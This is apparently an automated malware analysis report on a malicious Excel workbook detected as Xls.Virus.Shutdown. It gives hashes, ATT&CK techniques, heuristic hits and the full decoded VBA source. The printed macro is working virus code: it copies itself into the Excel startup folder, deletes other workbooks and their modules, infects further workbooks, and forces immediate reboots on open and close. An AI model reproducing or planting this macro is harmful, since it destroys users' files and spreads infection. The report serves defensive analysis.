Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62c3c4481ecba566…

MALICIOUS

Office (OLE)

19.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-20
MD5: 458efd514c1daf11fff696e623a37fe0 SHA-1: 4ed42fa4b4d1652c79a713e8c09f9e2c835c9a93 SHA-256: 62c3c4481ecba5660235ef093eabca7b3f8f04c54c497c62155314d1d6ce262b
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion T1497.001 System Checks

The sample contains VBA macros that execute upon opening and closing. The auto_open macro attempts to copy itself to the Excel startup path as 'SPECS.xls' and also deletes other workbooks in that path. It then executes the command 'shutdown -r -f -t 00', which forces a system reboot. The auto_close macro also executes this shutdown command. The critical heuristic firings for potential Shell calls and ClamAV detection further support its malicious nature.

Heuristics 5

  • ClamAV: Xls.Virus.Shutdown-6922872-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Shutdown-6922872-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub auto_close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2604 bytes
SHA-256: 968364fc382d2f9b753b254c9ab53671db24049f3c39bb20828c2a56d46ac197
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SPECS"
Sub auto_open()
On Error Resume Next
Application.EnableEvents = False
    For Each kil In Workbooks
    If kil.Name <> "SPECS.xls" And kil.Path = Application.StartupPath Then
    fn = kil.FullName
    kil.Close (False)
    Kill (fn)
    End If
    Next
Application.EnableEvents = True
Randomize
If ThisWorkbook.Path <> Application.StartupPath Then
    If Dir(Application.StartupPath & "\SPECS.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets(1).Copy
    nam = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks(nam).SaveAs (Application.StartupPath & "\SPECS.xls")
    End If
ThisWorkbook.Password = "joker"
Else
'att
If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
End If
Application.OnWindow = "cop"
Application.OnSheetActivate = "cop"
Shell ("shutdown -r -f -t 00")
End Sub
Sub cop()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each mo In ActiveWorkbook.Modules
If mo.Name <> "SPECS" Then mo.Delete
Next
If ActiveWorkbook.Sheets(1).Name <> "SPECS" Then
ThisWorkbook.Sheets(1).Copy ActiveWorkbook.Sheets(1)
If ActiveWorkbook.Path <> "" Then ActiveWorkbook.Save
End If
Application.OnSheetActivate = "cop"
End Sub

Sub auto_close()
Shell ("shutdown -r -f -t 00")
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True